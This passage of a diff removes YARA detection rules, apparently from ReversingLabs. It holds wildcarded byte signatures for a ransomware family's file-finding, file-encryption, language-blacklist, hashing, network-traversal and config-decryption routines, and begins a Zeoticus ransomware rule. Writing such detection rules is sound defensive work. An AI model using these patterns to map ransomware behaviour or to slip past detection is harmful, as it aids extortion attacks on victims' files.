-            C4 ?? 8D 45 ?? 50 57 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ??
-            33 DB 39 5D ?? 76 ?? 8B F7 0F 1F 80 ?? ?? ?? ?? F7 46 ?? ?? ?? ?? ?? 74 ?? 8B CE E8
-            ?? ?? ?? ?? 83 7F ?? ?? 74 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F8 83 C4 ?? 8B 45
-            ?? FF 70 ?? FF 15 ?? ?? ?? ?? 8D 04 45 ?? ?? ?? ?? 50 8B 45 ?? FF 70 ?? 57 E8 ?? ??
-            ?? ?? 83 C4 ?? 8D 45 ?? 50 6A ?? 57 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B
-            0D ?? ?? ?? ?? 89 04 8D ?? ?? ?? ?? F0 FF 05 ?? ?? ?? ?? 8B 7D ?? 43 83 C6 ?? 3B 5D
-            ?? 72 ?? E9 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5E 5B 85 C0
-            75 ?? B8 ?? ?? ?? ?? 5F 8B E5 5D C3 33 C0 5F 8B E5 5D C3
-        }
-		$find_files_v1_1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 56 8B C1 C7 45 ?? ?? ?? ?? ?? 57 50 89 45 ?? 33 C9 8D
-            45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 66 89 4D ?? 50 FF 15 ?? ?? ?? ?? 83
-            C4 ?? 8D 85 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 50 6A ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ??
-            ?? ?? 8B F8 89 7D ?? 83 FF ?? 0F 84 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 33 C0 8B 35 ?? ??
-            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7
-            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 0F 1F 80 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D
-            45 ?? 50 FF D3 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 45 ?? 50 FF D3 85 C0
-            0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? 50 FF D3 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D3 85
-            C0 0F 84
-        }
-		$find_files_v1_2 = {
-            45 ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ??
-            ?? ?? E9 ?? ?? ?? ?? 33 C9 66 39 8D ?? ?? ?? ?? 74 ?? 8D 40 ?? 41 66 83 38 ?? 75 ??
-            83 F9 ?? 0F 8E ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F0 56 68 ?? ??
-            ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ??
-            56 68 ?? ?? ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? FF D3 85 C0 0F 84
-        }
-		$find_files_v1_3 = {
-            85 C0 0F 84 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ?? 56 68 ?? ??
-            ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ??
-            56 68 ?? ?? ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? FF D3 85 C0 0F 84
-            ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? 33 C9 0F 11 45 ?? C7 45 ?? ?? ?? ?? ?? 66 C7 45 ??
-            ?? ?? 66 90 8A 45 ?? 30 44 0D ?? 41 83 F9 ?? 72 ?? 33 C0 C6 45 ?? ?? 66 89 45 ?? 8D
-            45 ?? 50 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83
-            C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF D3 85 C0 0F 84 ?? ?? ?? ?? 8D 85
-            ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68
-            ?? ?? ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF D3
-            85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF D3 85 C0 0F 84 ?? ??
-            ?? ?? 8B 4D ?? 8D 95 ?? ?? ?? ?? 2B D1 0F B7 01 8D 49 ?? 66 89 44 11 ?? 66 85 C0 75
-            ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B F2 66 8B 02 83 C2 ??
-            66 85 C0 75 ?? 8D BD ?? ?? ?? ?? 2B D6 83 C7 ?? 0F 1F 40 ?? 66 8B 47 ?? 83 C7 ?? 66
-            85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8B CA C1 E9 ?? F3 A5 8B CA 83 E1 ?? F3 A4 A8 ?? 75 ??
-            A8 ?? 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 8D
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 7D ?? 8B 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF D6
-            83 F8 ?? 0F 84 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 57 FF 15 ?? ?? ?? ?? 5F
-            5E 5B 8B E5 5D C3
-        }
-		$encrypt_files_v1_1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 53 56 57 8B F9 C7 45 ?? ?? ??
-            ?? ?? 89 7D ?? 66 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? C7
-            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66
-            89 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85
-        }
-		$encrypt_files_v1_2 = {
-            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 85
-            ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F8 33 DB 89 7D ?? 33 F6 0F 1F 00 8B 84
-            B5 ?? ?? ?? ?? 85 C0 74 ?? 57 50 FF 15 ?? ?? ?? ?? 85 C0 B8 ?? ?? ?? ?? 0F 44 D8 46
-            81 FE ?? ?? ?? ?? 7C ?? 8B 7D ?? 33 C0 66 89 85 ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 8D
-            85 ?? ?? ?? ?? 57 50 8D 85 ?? ?? ?? ?? 89 5D ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7
-            85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
-            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ??
-            ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ??
-            ?? 8B 1D ?? ?? ?? ?? 83 C4 ?? 33 F6 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ??
-            85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF D3 83 F8 ?? 75
-            ?? 8B CF E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? 8B
-        }
-		$encrypt_files_v1_3 = {
-            CF E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? 83 FE ?? 7D ?? 46 EB ?? 6A ?? 68 ?? ?? ?? ?? 6A ??
-            6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 89 5D ?? 83
-            FB ?? 75 ?? 8B 1D ?? ?? ?? ?? EB ?? FF 35 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ?? ?? 53 FF
-            15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 F8 ?? 75 ?? 53 FF 15 ?? ?? ?? ?? 33 C0 5F 5E 5B 8B
-            E5 5D C3 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 83 C4 ?? 85 DB 75 ?? FF 75 ?? FF 15
-            ?? ?? ?? ?? 33 C0 5F 5E 5B 8B E5 5D C3 8B 45 ?? 8B 75 ?? 89 43 ?? 8D 43 ?? 50 56 C7
-            43 ?? ?? ?? ?? ?? C7 43 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 53 FF 15 ?? ??
-            ?? ?? 83 C4 ?? 56 FF 15 ?? ?? ?? ?? 33 C0 5F 5E 5B 8B E5 5D C3 8B 4B ?? 8B 43 ?? 85
-            C9 7F ?? 7C ?? 83 F8 ?? 72 ?? 83 E8 ?? C7 43 ?? ?? ?? ?? ?? 89 43 ?? 8B 43 ?? 83 D9
-            ?? 89 43 ?? 8B 43 ?? 89 43 ?? 8D 83 ?? ?? ?? ?? 6A ?? 50 89 4B ?? C7 43 ?? ?? ?? ??
-            ?? 89 73 ?? E8 ?? ?? ?? ?? 6A ?? 8D 83 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 53 6A ?? 6A ??
-            8D 73 ?? 56 FF 73 ?? FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 3D ??
-            ?? ?? ?? 74 ?? 56 8B 35 ?? ?? ?? ?? FF D6 83 C4 ?? 53 FF D6 83 C4 ?? FF 75 ?? FF 15
-            ?? ?? ?? ?? 8B 45 ?? 5F 5E 5B 8B E5 5D C3 F0 FF 05 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ??
-            B8 ?? ?? ?? ?? F0 0F C1 05 ?? ?? ?? ?? 40 3D ?? ?? ?? ?? 7E ?? 8B 35 ?? ?? ?? ?? 6A
-            ?? FF D6 83 3D ?? ?? ?? ?? ?? 7D ?? 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3
-        }
-		$check_blacklisted_languages_v2 = {
-            FF D0 0F B7 C0 B9 2C 08 ?? ?? 66 3B C1 0F 84 ?? ?? ?? ?? B9 2C 04 ?? ?? 66 3B C1 74
-            ?? B9 2B 04 ?? ?? 66 3B C1 74 ?? B9 23 04 ?? ?? 66 3B C1 74 ?? B9 37 04 ?? ?? 66 3B
-            C1 74 ?? B9 3F 04 ?? ?? 66 3B C1 74 ?? B9 40 04 ?? ?? 66 3B C1 74 ?? B9 19 08 ?? ??
-            66 3B C1 74 ?? B9 19 04 ?? ?? 66 3B C1 74 ?? B9 28 04 ?? ?? 66 3B C1 74 ?? B9 42 04
-            ?? ?? 66 3B C1 74 ?? B9 43 08 ?? ?? 66 3B C1 74 ?? B9 43 04 ?? ?? 66 3B C1 74 ?? B9
-            22 04 ?? ?? 66 3B C1 0F 85 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 85 DB 0F 85 ?? ?? ?? ?? 64
-            A1 ?? ?? ?? ?? 8B 40 ?? 8B 40 ?? 8B 00 8B C8 89 45 ?? 8B D0 89 4D ?? 0F B7 59 ?? 33
-            FF 8B 71 ?? D1 EB C7 45 ?? ?? ?? ?? ?? 8D 04 5E 3B F0 0F 47 DF 85 DB 74 ?? 8A 0E 8D
-            76 ?? 0F BE D1 80 E9 ?? 8B C2 83 C8 ?? 80 F9 ?? 0F 47 C2 47 33 45 ?? 69 C0 ?? ?? ??
-            ?? 89 45 ?? 3B FB 75 ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 8B 01 8B
-            C8 89 4D ?? 3B C2 74 ?? 83 79 ?? ?? 75 ?? 33 DB 89 1D ?? ?? ?? ?? A1 ?? ?? ?? ?? 85
-            C0 0F 85 ?? ?? ?? ?? 85 DB 0F 84 ?? ?? ?? ?? 8B 43 ?? 8B 4C 18 ?? 8D 04 19 89 45 ??
-            3B C3 74 ?? 33 C9 89 4D ?? 39 48 ?? 74 ?? 8B 40 ?? 8B 55 ?? 03 C3 89 45 ?? 0F 1F 40
-            ?? 8B 30 BF ?? ?? ?? ?? 8A 04 1E 03 F3 46 84 C0 74 ?? 0F BE D0 8D 76 ?? 2C ?? 8B CA
-            83 C9 ?? 3C ?? 8A 46 ?? 0F 47 CA 33 CF 69 F9 ?? ?? ?? ?? 84 C0 75 ?? 8B 4D ?? 8B 55
-            ?? 81 FF ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 41 83 C0 ?? 89 4D ?? 89 45 ?? 3B 4A
-            ?? 75 ?? 33 C0 A3 ?? ?? ?? ?? 6A ?? FF D0 5F 5E 5B 8B E5 5D C3
-        }
-		$create_net_host_trav_threads_v2 = {
-            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 6A ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 64 A1 ?? ?? ?? ?? 83 C4 ?? 8B 40 ?? 50 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? FF D0 85 C0 78 ?? A1 ?? ?? ?? ?? 8D 0C 85 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? A3 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? F0 FF 0D ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 8B 35
-        }
-		$fnv1a_hashing_v2 = {
-            55 8B EC 83 EC ?? 64 A1 ?? ?? ?? ?? 8B 40 ?? 8B 40 ?? 8B 00 8B 50 ?? A1 ?? ?? ?? ??
-            89 55 ?? 85 C0 0F 85 ?? ?? ?? ?? 85 D2 75 ?? 33 C0 A3 ?? ?? ?? ?? 8B E5 5D C3 8B 42
-            ?? 8B 4C 10 ?? 8B 44 10 ?? 89 45 ?? 8D 04 11 89 45 ?? 3B C2 74 ?? 53 33 C9 56 57 89
-            4D ?? 39 48 ?? 74 ?? 8B 78 ?? 03 FA 8B 07 BE
-        }
-		$decrypt_configuration_v2_1 = {
-            55 8B EC 51 53 56 57 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 03 C9 83 EA ?? 75 ?? 68 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? BA 25 1B 00 00 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? BA 78 0C 00 00 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ??
-            BA 39 28 00 00 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BA F1 40
-            00 00 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BA BF 11 00 00 B9
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BA 28 02 00 00 B9 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BA 3B 07 00 00 B9 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BA A5 04 00 00 B9 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            83 C4 ?? BA 0F 03 00 00 B9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            83 C4 ?? E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 33 C9 BE ?? ?? ?? ?? 85 FF 74 ?? 8B 15 ??
-            ?? ?? ?? 0F 1F 44 00 ?? 80 3C 0A ?? 8D 46 ?? 0F 45 C6 41 8B F0 3B CF 72 ?? 8D 0C B5
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 89 1D ?? ?? ?? ?? 85 DB 74 ?? 33 FF 85 F6 74 ?? 90
-            B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 89 04 BB 47 3B FE 72 ?? 8B 0D ?? ??
-            ?? ?? 33 F6 E8 ?? ?? ?? ?? 85 C0 74 ?? 0F 1F 80 ?? ?? ?? ?? 8B 14 B3 8A 08 8D 40 ??
-            88 0A 8D 52 ?? 84 C9 75 ?? 33 C9 E8 ?? ?? ?? ?? 46 85 C0 75 ?? C7 04 B3 ?? ?? ?? ??
-            5F 5E 5B 8B E5 5D C3
-        }
-		$decrypt_configuration_v2_2 = {
-            55 8B EC 51 53 56 57 8B F2 8B F9 6B CE ?? E8 ?? ?? ?? ?? 8B C8 33 C0 89 4D ?? 85 C9
-            0F 84 ?? ?? ?? ?? 85 F6 74 ?? 83 FE ?? 72 ?? 0F 28 0D ?? ?? ?? ?? 8B CE 83 E1 ?? 66
-            0F 1F 84 00 ?? ?? ?? ?? 0F 10 04 07 66 0F EF C1 0F 11 04 07 0F 10 44 07 ?? 66 0F EF
-            C1 0F 11 44 07 ?? 0F 10 44 07 ?? 66 0F EF C1 0F 11 44 07 ?? 0F 10 44 07 ?? 66 0F EF
-            C1 0F 11 44 07 ?? 83 C0 ?? 3B C1 72 ?? 8B 4D ?? 3B C6 73 ?? 80 34 38 5F 40 3B C6 72
-            ?? 8B 5D ?? 8B D6 51 53 51 8B CF E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 0B E8 ?? ??
-            ?? ?? 8B F8 8B 45 ?? 89 38 8B 45 ?? 85 FF 74 ?? 8B 0B 8B F0 F3 A4 8B C8 BE ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8B C6 5F 5E 5B 8B E5 5D C3
-        }
-		$encrypt_files_v2_p1 = {
-            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 56 57 66 90 64 A1 ?? ?? ?? ?? 0F 57 C0 C7 44 24
-            ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 66 0F 13 44 24 ?? 8B 40 ?? 8B 40 ?? 8B 00 8B
-            50 ?? A1 ?? ?? ?? ?? 89 54 24 ?? 85 C0 0F 85 ?? ?? ?? ?? 85 D2 0F 84 ?? ?? ?? ?? 8B
-            42 ?? 8B 4C 10 ?? 8D 04 11 89 44 24 ?? 3B C2 74 ?? 33 C9 89 4C 24 ?? 39 48 ?? 74 ??
-            8B 40 ?? 03 C2 89 44 24 ?? 0F 1F 80 ?? ?? ?? ?? 8B 30 BF C5 9D 1C 81 8A 04 16 03 F2
-            46 84 C0 74 ?? 0F BE D0 8D 76 ?? 2C ?? 8B CA 83 C9 ?? 3C ?? 8A 46 ?? 0F 47 CA 33 CF
-            69 F9 93 01 00 01 84 C0 75 ?? 8B 54 24 ?? 8B 4C 24 ?? 81 FF ?? ?? ?? ?? 74 ?? 8B 74
-            24 ?? 41 8B 44 24 ?? 83 C0 ?? 89 4C 24 ?? 89 44 24 ?? 3B 4E ?? 75 ?? 33 C0 A3 ?? ??
-            ?? ?? 6A ?? 8D 4C 24 ?? 51 8D 4C 24 ?? 51 8D 4C 24 ?? 51 FF 35 ?? ?? ?? ?? FF D0 85
-            C0 0F 88 ?? ?? ?? ?? 8B 74 24 ?? 85 F6 0F 84 ?? ?? ?? ?? 8B 7C 24 ?? 8B 07 48 83 F8
-            ?? 0F 87 ?? ?? ?? ?? FF 24 85 ?? ?? ?? ?? 8B 74 24 ?? 8B 46 ?? 8D 04 48 0F B7 0C 10
-            8B 46 ?? 8D 04 88 8B 04 10 03 C2 EB ?? 83 7F ?? ?? 0F 85 ?? ?? ?? ?? 83 7F ?? ?? 0F
-            85 ?? ?? ?? ?? C7 07 ?? ?? ?? ?? 8B 4C 24 ?? 8B 54 24 ?? 68 ?? ?? ?? ?? 6A ?? 8B 41
-            ?? 89 42 ?? 8B 41 ?? 89 42 ?? 8B 44 24 ?? 6A ?? 8B 40 ?? 8D 88 ?? ?? ?? ?? F7 D8 23
-            C8 8B 44 24 ?? 89 48 ?? 8D 4C 24 ?? 8B 54 24 ?? 8B 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ??
-            8D 84 24 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ??
-            ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 6A ??
-            68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? FF 76 ?? FF 76 ?? FF 15 ?? ?? ?? ?? 8B 4E
-            ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 50 8B 46 ?? 81 C1 ?? ?? ?? ?? 03 C1 50 E8 ?? ?? ?? ??
-            8B 4C 24 ?? 83 C4 ?? 8B 74 24 ?? 89 74 24 ?? 6A ?? 8D 41 ?? 50 FF 71 ?? 8D 41 ?? FF
-        }
-		$encrypt_files_v2_p2 = {
-            71 ?? 50 51 6A ?? 6A ?? FF 76 ?? E8 ?? ?? ?? ?? FF D0 85 C0 0F 89 ?? ?? ?? ?? 83 C8
-            ?? F0 0F C1 46 ?? 0F 85 ?? ?? ?? ?? 6A ?? 6A ?? 56 E8 ?? ?? ?? ?? 8B 46 ?? 83 C4 ??
-            33 FF 85 C0 0F 84 ?? ?? ?? ?? 83 C6 ?? 8B 0E E8 ?? ?? ?? ?? 8B 44 24 ?? 8D 76 ?? 47
-            8B 40 ?? 3B F8 72 ?? 8B 74 24 ?? 85 C0 E9 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 56 ?? 8B C1
-            F0 0F B1 0A 83 F8 ?? 75 ?? 8B 46 ?? 89 44 24 ?? 0F B7 46 ?? 83 C0 ?? 8B C8 89 44 24
-            ?? E8 ?? ?? ?? ?? 8B F8 85 FF 74 ?? 0F B7 4E ?? 51 FF 76 ?? 8D 4F ?? 51 E8 ?? ?? ??
-            ?? 0F B7 46 ?? 83 C4 ?? 89 47 ?? 0F 57 C0 8D 44 24 ?? C6 07 ?? C7 47 ?? ?? ?? ?? ??
-            6A ?? FF 74 24 ?? 66 0F 13 44 24 ?? 57 50 FF 74 24 ?? E8 ?? ?? ?? ?? FF D0 8B CF E8
-            ?? ?? ?? ?? 8D 56 ?? 85 F6 0F 84 ?? ?? ?? ?? 83 C8 ?? F0 0F C1 02 0F 85 ?? ?? ?? ??
-            6A ?? 6A ?? 56 E8 ?? ?? ?? ?? 8B 4E ?? 83 C4 ?? C7 44 24 ?? ?? ?? ?? ?? 85 C9 0F 84
-            ?? ?? ?? ?? 8D 7E ?? 90 8B 0F E8 ?? ?? ?? ?? 8B 44 24 ?? 8D 7F ?? 8B 4E ?? 40 89 44
-            24 ?? 3B C1 72 ?? E9 ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? 8D 56 ?? 74 ?? 8D 8C 24 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8B 47 ?? 8B 57 ?? 50 50 8D 47 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B
-            C1 6A ?? EB ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 47 ?? 8D 8C 24 ?? ?? ?? ?? 8B
-            57 ?? 50 50 8D 47 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 54 24 ?? 83 C4 ?? 83 7A ?? ?? 8B 42 ?? 0F 8F ??
-            ?? ?? ?? 7C ?? 39 42 ?? 0F 87 ?? ?? ?? ?? 8B 74 24 ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ??
-            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 50 E8 ?? ??
-            ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 4E
-        }
-		$encrypt_files_v2_p3 = {
-            8D 84 24 ?? ?? ?? ?? 83 C4 ?? 81 C1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 8B 46 ?? 03 C1 50
-            E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? C7 00 ?? ?? ?? ?? EB ?? 8B 44 24 ?? C7 00 ?? ??
-            ?? ?? 8B 4C 24 ?? 8B 74 24 ?? 6A ?? 89 74 24 ?? 8D 41 ?? 50 FF 71 ?? 8D 41 ?? FF 71
-            ?? 50 51 6A ?? 6A ?? FF 76 ?? E8 ?? ?? ?? ?? FF D0 85 C0 0F 89 ?? ?? ?? ?? 83 C8 ??
-            F0 0F C1 46 ?? 0F 85 ?? ?? ?? ?? 6A ?? 6A ?? 56 E8 ?? ?? ?? ?? 8B 46 ?? 83 C4 ?? 33
-            FF 85 C0 0F 84 ?? ?? ?? ?? 83 C6 ?? 8B 0E E8 ?? ?? ?? ?? 8B 44 24 ?? 8D 76 ?? 47 8B
-            40 ?? 3B F8 72 ?? 8B 74 24 ?? 85 C0 E9 ?? ?? ?? ?? 83 C8 ?? F0 0F C1 46 ?? 0F 85 ??
-            ?? ?? ?? 6A ?? 6A ?? 56 E8 ?? ?? ?? ?? 8B 4E ?? 83 C4 ?? C7 44 24 ?? ?? ?? ?? ?? 85
-            C9 0F 84 ?? ?? ?? ?? 8D 7E ?? 66 0F 1F 44 00 ?? 8B 0F E8 ?? ?? ?? ?? 8B 44 24 ?? 8D
-            7F ?? 8B 4E ?? 40 89 44 24 ?? 3B C1 72 ?? E9 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 56 ?? 8B
-            C1 F0 0F B1 0A 83 F8 ?? 75 ?? 8B 46 ?? 89 44 24 ?? 0F B7 46 ?? 83 C0 ?? 8B C8 89 44
-            24 ?? E8 ?? ?? ?? ?? 8B F8 85 FF 74 ?? 0F B7 4E ?? 51 FF 76 ?? 8D 4F ?? 51 E8 ?? ??
-            ?? ?? 0F B7 46 ?? 83 C4 ?? 89 47 ?? 0F 57 C0 8D 44 24 ?? C6 07 ?? C7 47 ?? ?? ?? ??
-            ?? 6A ?? FF 74 24 ?? 66 0F 13 44 24 ?? 57 50 FF 74 24 ?? E8 ?? ?? ?? ?? FF D0 8B CF
-            E8 ?? ?? ?? ?? 8D 56 ?? 85 F6 0F 84 ?? ?? ?? ?? 83 C8 ?? F0 0F C1 02 0F 85 ?? ?? ??
-            ?? 6A ?? 6A ?? 56 E8 ?? ?? ?? ?? 8B 4E ?? 83 C4 ?? C7 44 24 ?? ?? ?? ?? ?? 85 C9 74
-            ?? 8D 7E ?? 8B 0F E8 ?? ?? ?? ?? 8B 44 24 ?? 8D 7F ?? 8B 4E ?? 40 89 44 24 ?? 3B C1
-            72 ?? 85 C9 74 ?? F0 FF 05 ?? ?? ?? ?? F0 FF 0D ?? ?? ?? ?? 8B 46 ?? 85 C0 74 ?? 50
-            E8 ?? ?? ?? ?? FF D0 8D 46 ?? 50 E8 ?? ?? ?? ?? FF D0 8B CE E8 ?? ?? ?? ?? E9 ?? ??
-            ?? ?? 5F 33 C0 5E 8B E5 5D C2
-        }
-
-	condition:
-		uint16(0)==0x5A4D and ((($enum_resources_v1) and ( all of ($find_files_v1_*)) and ( all of ($encrypt_files_v1_*))) or (($check_blacklisted_languages_v2) and ($fnv1a_hashing_v2) and ($create_net_host_trav_threads_v2) and ( all of ($decrypt_configuration_v2_*)) and ( all of ($encrypt_files_v2_p*))))
-}
-rule REVERSINGLABS_Win32_Ransomware_Zeoticus : TC_DETECTION MALICIOUS MALWARE FILE
-{
-	meta:
-		description = "Yara rule that detects Zeoticus ransomware."
-		author = "ReversingLabs"
-		id = "483b20a4-2c16-5509-a503-2462a53d4d31"
-		date = "2021-03-19"
-		modified = "2021-03-19"
-		reference = "ReversingLabs"
